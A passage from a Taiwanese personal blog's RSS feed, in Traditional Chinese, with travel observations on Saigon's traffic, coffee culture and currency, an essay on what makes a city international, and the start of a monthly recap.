<h2 id="-所以是胡志明市還是西貢" class="relative group">🤷🏻 所以是胡志明市還是西貢 </h2><p>在以前南北越分治的時候，統一的大業一直是越南共產黨創黨主席胡志明的夢想，只是他在 1969 年的時候就病逝了，好巧不巧那天還剛好是北越國慶日。於是在 1975 年越戰結束、南北越統一的時候，越南政府就把南越的最大城市——西貢，改名為胡志明市來紀念他。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/ho-chi-minh-statue.jpg"
      class="mx-auto my-0 rounded-md"
      alt="胡志明市人民委員會大廳前的胡志明雕像"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">他就是鼎鼎大名的胡志明大大 (X</figcaption>
</figure>
</p>
<p>在前面的幾篇文章我都還是以胡志明市來指稱，可是因為西貢這個地名已經使用了非常久，再者，不論是越語還是英語，西貢 (Saigon) 講起來還是比較順口，因此這個名字仍然廣泛的被當地人及西方觀光客使用。其實我自己也覺得用西貢來稱呼這做城市感覺更有一種風韻，甚至是親密的感覺。</p>
<p>如果對這兩個名字的故事有興趣，可以看看<a href="https://www.itourvn.com/blog/ho-chi-minh-city-or-saigon-which-name-is-correct" target="_blank" rel="noreferrer">這篇文章<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>另外補充一個小插曲，因為胡志明市的行政區域非常大，所以如果是在別的越南城市說要「去西貢」指的就是要去胡志明市的意思，但是如果是西貢市郊的居民說要「去西貢」就會變成要進市中心 (第一郡) 的意思。這一點其實跟在台灣的「去台南」有著異曲同工之妙。</p>
<h2 id="-交通" class="relative group">🛵 交通 </h2><p>西貢目前還沒有捷運<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，當然也沒有什麼機場快線這種高級的東西。這裡的交通選項，基本上只有 4 個：</p>
<ul>
<li>公車：不限距離 6000₫</li>
<li>計程車：跟泰國一樣，可以用 Grab，不會太貴</li>
<li>摩托計程車：15 分鐘的距離差不多 13000₫</li>
<li>租機車：也是可以考慮，價格還行，但是會很刺激。我是沒有換駕照所以沒有嘗試</li>
</ul>
<p>但是據我觀察，公車的路線其實比較多是方便當地人進市區用的，如果是市區內的移動，公車其實沒有很方便。所以最後我就是白天太熱就叫摩托計程車，晚上沒那麼熱就當散步逛街。</p>
<h3 id="-有夠亂" class="relative group">🤯 有夠亂 </h3><p>從機場搭計程車進市區就很難不注意到，這裡的交通非常亂，基本上跟台北的機車瀑布差不多，只是每條街都是這個規格。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/chaos-traffic.jpg"
      class="mx-auto my-0 rounded-md"
      alt="被汽機車塞滿的街道夜景"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">被汽機車擠得水泄不通的阮惠街</figcaption>
</figure>
</p>
<p>外加喇叭過度氾濫，甚至很多車子還有改裝，按一下會有連續 5 聲 combo 的加乘效果 XDDDDD。曾經聽過一種說法是，汽車喇叭在不同國家有不同的意思，比方說：</p>
<ul>
<li>在大部分國家可能是：「欸小心」、「你在歸三小」、「不要擋路」</li>
<li>印度的話：「哈囉」、「你好嗎」、「衷心感謝」、「珍重再見」</li>
</ul>
<p>在越南的話，我觀察喇叭的翻譯大概會是：「嘿嘿我來囉」、「別想跟我擠」、或是「馬的臭三八」</p>
<h3 id="-行人地獄" class="relative group">☠️ 行人地獄 </h3><p>交通一亂，行人必然也會遭殃。</p>
<p>之前台灣曾經被多家外媒批評是行人地獄，我覺得一方面是，台灣在某些地方真的就是行人地獄，沒什麼好說的，但換一個角度思考，外媒之所以會特別把台灣拿出來講，就是因為以台灣的社會經濟發展水準，交通不應該有這麽糟糕的表現。</p>
<p>不然為什麼沒有人在抱怨越南是行人地獄呢：）</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/A-RPcFW3wCE?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">YouTube 上隨便找的，越南過馬路示範教學 XDDDDD</figcaption>
<p>很多人可能不會注意到，捷運除了穩定、快速的移動大量人群這個主要的功能，它對一個族群尤其重要——視障者，因為普通的視障者是很難自行搭公車的。而身在西貢的視障者，基本上沒有任何大眾交通工具可以使用。</p>
<p>那走路呢？很抱歉，在巷子裡沒有人行道，要跟汽機車搶，大馬路的人行道，則是經常被機車占據，也同樣因為這些機車騎在人行道，所以磁磚壞的一塌糊塗，到處都有坑洞。</p>
<p>我只能說，西貢不只是行人地獄，甚至是「視障者地獄」🫠</p>
<p>但換個角度想，當我們看越南覺得他們的交通很亂的時候，也許台灣在其他交通更守秩序的國家的人眼中，也許是差不多的糟吧。</p>
<h2 id="-街景" class="relative group">🌲 街景 </h2><p>但是在西貢的散步體驗，還是有其他值得稱羨的優點啦。說到西貢街景最令我喜歡的特色，就是到處都綠油油一片。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/avenue-with-trees-and-communist-flag.jpg"
      class="mx-auto my-0 rounded-md"
      alt="三線道馬路邊種滿了大樹"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">真的是又高又大，配上藍天看著心情都好ㄌ 😌</figcaption>
</figure>
</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/saigon/street-with-trees.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="招牌林立的街頭夜景"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/saigon/trees-in-book-street.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="招牌林立的街頭夜景"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">左：如果沒有了機車，和路邊的垃圾桶，西貢的街景其實挺美的<br/>右：書街充滿書香，也充滿樹香 (X</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/european-building.jpg"
      class="mx-auto my-0 rounded-md"
      alt="歐式建築在街口轉角"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">越南以前也曾經有被法國殖民過，所以時常會在不經意的彎過一個巷子後，不小心穿越到歐洲 (X</figcaption>
</figure>
</p>
<p>但城市裡仍然有非常多傳統印象中的亞洲舊公寓，所以就形成了一種&hellip;半歐半亞&hellip;? 的神奇景象 😲</p>
<h2 id="-咖啡文化" class="relative group">☕️ 咖啡文化 </h2><p>另一個法國的殖民痕跡，就是隨處可見的咖啡廳。也正因為喝咖啡這個文化已經深植在了越南人生活之中，在這裡幾乎每個路口間都有至少 2 間以上的咖啡廳。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/three-stories-cafe.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一棟三層樓的咖啡廳"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">除了樓層很多之外，越南咖啡廳的另一個特色是一定會有戶外座位區。<br/>這些座位下午太陽大的時候不太會有人坐，但到了晚上就會聚集很多人在這邊抽菸聊天。</figcaption>
</figure>
</p>
<p>其實我也是來了之後才知道，越南是目前全世界第二大的咖啡豆出口國。因此，喝咖啡在這裡是一件非常便宜且稀鬆平常的活動。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/vietnamese-coffee.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一杯淺棕色的咖啡"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center"><a href="https://zh.wikipedia.org/wiki/%E8%B6%8A%E5%8D%97%E5%92%96%E5%95%A1" target="_blank" rel="noreferrer">越南咖啡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：因為地處熱帶氣候炎熱，所以越南咖啡的基底就是一整杯的冰塊，而為了解決冰塊會沖淡咖啡味道的問題，豆子幾乎都是深度烘培的，並且用煉乳來取代牛奶來增加風味。</figcaption>
</figure>
</p>
<p>除了揪三五好友在咖啡廳裡面聊天，越南人也很喜歡就直接拉幾張小板凳甚至是躺椅，就這麼在路邊愜意起來。這一點還真的是跟法國的咖啡廳挺像的 🤔 (撇掉法國人還是會坐在正常椅子上不說的話)</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/cafe-by-the-street.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一群人坐在路邊喝咖啡"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">© Maurice Timmermans / Alamy Stock Photo</figcaption>
</figure>
</p>
<h2 id="-貨幣" class="relative group">💰 貨幣 </h2><h3 id="-幣值過低" class="relative group">💸 幣值過低 </h3><p>越南的貨幣是越南盾 (đồng, 符號：₫)，đồng 的意思就是銅，因為早期的越南盾硬幣就是銅幣，只是越南現在已經沒有在鑄造新的硬幣，市面上也沒有再流通了。根據官方的說法是：「因為硬幣容易磨損，久了會分辨不出來硬幣的面額」，實際上是因為越南盾曾經歷快速的通膨，因此幣值非常低。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/price-withthousands.jpg"
      class="mx-auto my-0 rounded-md"
      alt="&ldquo;一個在路邊的咖啡廳價目看板，以 k 為單位&rdquo;"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">與其說越盾的單位是 ₫，說是 k 可能還實際點</figcaption>
</figure>
</p>
<p>現實生活中的話，買東西最低的交易單位還真的是 1000 元，如果真的有零頭，就會無條件進位到千位數。</p>
<h3 id="-機場反而都在用美金" class="relative group">💵 機場反而都在用美金 </h3><p>因為台灣不在越南的免簽國之中，所以去越南是要辦簽證的。辦簽證的過程有多麼坎坷雞歪我就先不說了，總之最後一個步驟是，落地之後，要拿著批文去申請正式的簽證，簽證申請費是 $25 美金，不能使用越南盾支付。</p>
<blockquote>
<p>你看一個國家的簽證居然不能用當地貨幣付，就知道這個貨幣有多廢</p>
<p>&ndash; <cite>我爸</cite></p>
</blockquote>
<p>&hellip;嗯&hellip;好像沒什麼值得辯護的空間 🤔</p>
<p>再補充一個，我離境的飛機是下午飛的，但早上我也沒什麼其他行程了，所以早早就來機場逛。機場過了安檢區到空側之後，所有的東西都變成用美金標價，而且可以注意到，雖然機場的東西本來就會比市區偏貴一點點，但這裡貴的幅度已經遠超過一般的常態。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/338k-pho.jpg"
      class="mx-auto my-0 rounded-md"
      alt="觀景台餐廳的 Phở"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">你能想像在市區一碗 90k 的 Phở 在機場居然可以賣到 338k ？？？？？？</figcaption>
</figure>
</p>
<p>雖然沒有證據，但我認真懷疑機場是越南政府賺取外匯的一個重要管道&hellip;</p>
<p>這一點還真是跟北韓沒什麼兩樣。</p>
<h3 id="-換匯體驗奇糟" class="relative group">💱 換匯體驗奇糟 </h3><p>出國玩，換匯通常有兩種情況：</p>
<ul>
<li>目的地使用的是國際常用的貨幣，或是熱門的旅遊目的地：比方說美金、日圓、<strong>韓環</strong>這些貨幣因為使用量大，在台灣的銀行事先換匯就有不錯的匯率，落地就可以直接使用。</li>
<li>比較不常見的貨幣：什麼菲律賓披索、泰銖，雖然有一些在台灣也可以換的到，但是匯率一定會相對差一點，所以在台灣先換美金，到當地再換通常會是比較划算的作法。</li>
</ul>
<p>在泰國，除了機場有人工服務台、換匯機、跟提款機外，市區的換匯所也是隨處可見，比方說最常見的 SuperRich。不只價格透明到可以用 App 查詢不同換匯所的即時價格，換匯所安保規格也幾乎貼近台灣銀行，明亮寬敞、配保全、每個櫃檯後面都有監視器，可以說是方便實惠又安全。</p>
<p>西貢可就不是這麼一回事了。</p>
<p>在西貢，換匯價格最好的地方不是銀行，是私人銀樓。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/saigon/exchange-counter.jpg"
      class="mx-auto my-0 rounded-md"
      alt="換匯櫃檯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">說銀樓似乎還好聽了點，實際走訪的體驗其實更像地下錢莊。</figcaption>
</figure>
</p>
<p>這些銀樓大部分開在鬧區的巷子裡，隔壁可能就是酒吧或按摩店，大概下一秒有人騎摩托車衝進來都不會太奇怪。而除了觀光客，準備出國當移工的當地人也會來這裡換錢，問題這間銀樓又很狹窄，三個櫃檯後面擠了五個人半坐半站的在幫外面的人換錢。再來是這些銀樓的人，大部分英文又不通，所以整個過程就是拿著計算機一直按，按到兩邊都點頭了就換錢，然後他會從抽屜拿出一「卷」鈔票給你，當然了收據這種高級的東西一定是沒有的。</p>
<p>總結這個過程的話，我覺得差不多是菜市場殺價 + 跟黑幫洗錢一半一半。</p>
<h2 id="小結" class="relative group">小結 </h2><p>有人說現在的台灣，就像 20 年前的日本。我覺得同樣的邏輯似乎也可以套用在這一趟旅程，越南就有點像 20 年前的泰國，當然我個人私心還是喜歡曼谷多一點。</p>
<p>如果是觀光的話，西貢周遭可以逛的東西不算多，建議可以排 2~4 天，如果嫌旅程太短，不妨考慮再搭配另外一個越南城市。至於 long-stay 的話，推薦給喜歡樹林、咖啡廳、<del>抓龍筋</del>的朋友。</p>
<p>好啦，回台灣就要開始面對各從<del>隕石</del>雜事啦，希望我可以繼續準時出刊。</p>
<p><small>話說其實這篇是在飛回台灣的飛機上寫的，本來想說下飛機只要上圖然後潤稿應該很快就可以發布了，結果一拖 3 天就過去了，結語馬上破功 🙈🙈</small></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>好啦<a href="https://zh.wikipedia.org/wiki/%E8%83%A1%E5%BF%97%E6%98%8E%E5%B8%82%E9%83%BD%E5%B8%82%E9%90%B5%E8%B7%AF1%E8%99%9F%E7%B7%9A" target="_blank" rel="noreferrer">明年要通車了<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，假設沒有出意外的話&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">saigon</guid><pubDate>Sun, 14 May 2023 14:34:17 +0700</pubDate></item><item><title>怎樣叫國際化 Pt.2</title><link>https://blog.tomy.me/zh-tw/posts/the-sense-of-internationalized-2/</link><description>除了文化還有什麼？</description><content:encoded><![CDATA[<p><a href="/zh-tw/posts/the-sense-of-internationalized/">上一篇</a>的例子比較多是客觀的狀態，這一篇來討論我主觀的感覺吧</p>
<h2 id="-簡單便宜直覺的大眾運輸" class="relative group">🚇 簡單、便宜、直覺的大眾運輸 </h2><p>去年交換的期間走遍了很多歐洲城市，當我新到達一個城市的時候，都一定會立刻遇到一個問題：「要怎麼搭乘大眾運輸工具」。</p>
<p>這個城市提供哪些交通工具？要怎麼買票/搭乘？</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/the-sense-of-internationalized-2/u-bahn-sign.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="寫著大大藍色 U 的招牌"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/the-sense-of-internationalized-2/u-bahn-train.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="黃色車身的柏林地鐵"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">德國的 U-Bahn (捷運) 沒有驗票閘門，上車前自己買票、打票，一切講求誠實<br/>對外地人來說，你要在被查票的時候才會發現你買的票是錯的，然後被收好幾倍的罰款</figcaption>



  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized-2/amsterdam-tram-service-desk.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="一個售票員坐在輕軌列車的售票亭裡"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">在荷蘭搭乘輕軌，有時要事先在月台上的售票機買好票，有時要上車後找後面的售票員買<br/>但是如果你剛好在一個沒有售票機的站上了一個沒有售票員的車，該怎麼辦呢？<br/>這個問題直到我離開都還沒解開 ¯_(ツ)_/¯</figcaption>
  </figure>


<p>還有像是公車要從哪一個門上車，有些公車沒辦法投現要怎麼辦？</p>
<p>買一日票或多日票會不會比較方便？但會不會實際上想去的景點大部分捷運都沒有到，或是不好用？</p>
<p>直到到了倫敦，才見識到什麼叫做世界級的大眾運輸系統：</p>
<p>大倫敦地區有地鐵 (Tube, Underground)、公車、輕軌 (Tram)、地上鐵 (Overground, DLR) 等各式各樣奇形怪狀的交通工具，但它們全部都歸 TfL (Transport for London) 管轄。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/the-sense-of-internationalized-2/london-bus.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="紅色的倫敦公車在倫敦塔橋的名牌旁"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/the-sense-of-internationalized-2/london-underground.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="倫敦地鐵"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">左：駛過倫敦塔橋的招牌紅色倫敦公車<br/>右：倫敦的地鐵其實不全然是在地下，而地上鐵也不完全是在地上</figcaption>

<p>TfL 的這套系統厲害的地方就在於：</p>
<ul>
<li>不用現金 (當然這個選項並沒有消失)</li>
<li>不用排隊買票、買儲值卡 (Oyster Card)</li>
<li>使用者會自動獲得最優惠的價錢</li>
<li>使用信用卡支付交通費會自動獲得信用卡公司提供的旅平險</li>
</ul>
<p>在所有需要進出、付款的地方，看到感應的閘門，只要拿出你的信用卡 (或 Apple/Google Pay) 直接刷進去就好。系統會在當天結束的時候自動計算你今天搭乘了哪些交通工具，如果你搭了超過一日票的錢，系統只會收你一日票的錢，週票、月票同理，因為 TfL 鼓勵大家多使用大眾運輸系統。</p>
<p>所以即便你語言不通、數學不好、剛下飛機沒有英鎊現金都沒關係，<strong>只需要一張信用卡，任何人都可以暢行倫敦</strong>。</p>
<h2 id="-英語普及度悖論" class="relative group">🇬🇧 英語普及度悖論 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized-2/google-lens.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="紅色不明物體在相機畫面被框住"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">也許你知道 Google 翻譯可以翻譯照片上的文字<br/>但你知道 <a href="https://lens.google/" target="_blank" rel="noreferrer">Google Lens<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 可以告訴你某個物件是什麼東西嗎<br/>舉凡不知道是在賣什麼的店、或是包裝看不懂的飲料都可以哦 XD</figcaption>
  </figure>


<p>關於英文的普及度，其實處於兩種尷尬的極端。</p>
<p>像巴黎就是一個很特別的例子。法國因為自身政治、經濟實力不容小覷，所以在巴黎雖然英文不會到不能用，但偶爾遇到英文不通的人，你還是會在空氣中嗅到他在透露「法文才是王道」的感覺，類似的案例，我覺得東京也有一點類似的感覺。</p>
<p>其實某種程度上並沒有錯，在別人的地盤，學習別人的語言和規則本來就是天經地義。</p>
<p>但另一種極端，就是在其他<del>不這麼霸權主義</del>的國家，遇到英文不通的人，他們的表情時常就顯得的「不好意思」一點，如果不認真思考這個問題的時候，當然也就容易跑出「X 的我到底來到什麼____國度」。</p>
<p>所以這樣看下來，英文通不通到底能不能作為一個地區有國際化的指標呢？</p>
<p>我覺得天秤的兩邊，都應該更往中間靠一點。增加英文的普及度是一件事，認同自己的語言是一件事，包容其他的語言和文化又是另一件事。</p>
<p>期待 2030 雙語國家的台灣，思考會再更周全一點。</p>
<h2 id="-本地文化" class="relative group">🧧 本地文化 </h2><p>上一篇提到國際化的一大特色就是文化大熔爐。但熔爐裡裝的當然不只是異國文化，本地文化也是很重要的一環。</p>
<h3 id="-珍惜自己原本的名字" class="relative group">📛 珍惜自己原本的名字 </h3><p><small>題外話：有人知道 📛 這個表情符號是名牌嗎 xDDD</small></p>
<p>台灣人小時候學英文，幾乎都會取一個英文的名字，這些名字有多奇怪我就先不說了，但是相反的，很多外國人在學中文以外的外語的時候，其實不太會做這件事。特別是在歐美這種強調個體性的文化，對他們來說，名字是代表自己和背後文化一個非常重要的特徵，所以當然不會隨便的放棄。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/grduLNvXVn0?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">剛好最近 YJ 的日本留學影片也有討論到這件事 (10:50 處)</figcaption>
<h3 id="-傳承" class="relative group">🎑 傳承 </h3><p>某種程度上來說，一個城市的國際化程度也可以反向的，透過在地文化如何傳承來被印證。</p>
<p>在交換的期間我發現一個很有趣的現象：台灣過傳統節慶的習俗正在漸漸的淡化，也許中秋節大家會記得烤肉，但什麼端午節要掛艾草、香包之類的根本已經快消失了。但人在海外的華人，反而會更認真的在維繫自己這些傳統的習俗。</p>
<p>反過來想，我想國外的節慶習俗之所以可以被保存的這麼好，也許也就是因為國內有太多的外來人口，所以當地人要介紹自己的文化給新移民，這些文化習俗就會不斷的被重複提起，也就更不容易消失了吧。</p>
<p>所以身為台灣人，也許你可以試著想想看，你會怎麼介紹清明、端午、中秋節給外國人呢？</p>
<p><small>我自己是發現這個題目就算用中文，我也可能會回答的亂七八糟哈哈哈哈</small></p>
<h2 id="-misc" class="relative group">🧑🏻‍⚕️ Misc </h2><p>這篇文本來是要昨天出的，但是寫到一半被睿哲抓去諮詢他的 MSD 面試</p>
<p>那我只好在這裡祝他順利上岸囉 XDDDDD</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">the-sense-of-internationalized-2</guid><pubDate>Thu, 11 May 2023 14:07:42 +0700</pubDate></item><item><title>2023 年 4 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-april-dump/</link><description>難得有種快活的感覺</description><content:encoded><![CDATA[<p>誒誒誒不是<a href="/zh-tw/posts/2023-march-dump/">上個月</a>才說要在月底前就把報報寫出來嗎，怎麼又被我拖到今天已經 6 號了哈哈哈哈。</p>
<p>不幸中的大幸是，這個月的狀況還不錯，我對<a href="/zh-tw/posts/bangkok/">曼谷</a>挺滿意的，放假的時間走了很多景點，工作的狀態也算是有在軌道上。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p><a href="/zh-tw/posts/2023-march-dump/#-下個月的目標">點我</a>看看上個月的目標</p>
<h3 id="-blog-上架" class="relative group">✅ Blog 上架 </h3><p>終於 <a href="https://www.facebook.com/tomy0000000/posts/pfbid0jLdHuVTYxpNund6aMH6UtmnryzgAwMepUPFHMCG5g9ZXqbB7Asrg1Bu8iWPvcfY7l" target="_blank" rel="noreferrer">盛大<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> <a href="https://www.instagram.com/p/Cr0X7qaLlxm/" target="_blank" rel="noreferrer">開幕<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 了啦！！</p>
<p>這就是為什麼這篇文拖到現在才寫，就不會有又被我拖了一個月的感覺 嘻嘻</p>
<p>話說上個月提到 Blog 上架被 Google News 和 Mailchimp 卡住，為什麼後來又修好了呢？其實我什麼都沒修，他也沒壞，搞了老半天他沒有在運作的原因就是：我整個三月都沒有發文，所以他當然不會動：））</p>
<p>







  
  
<figure>
  
    





  
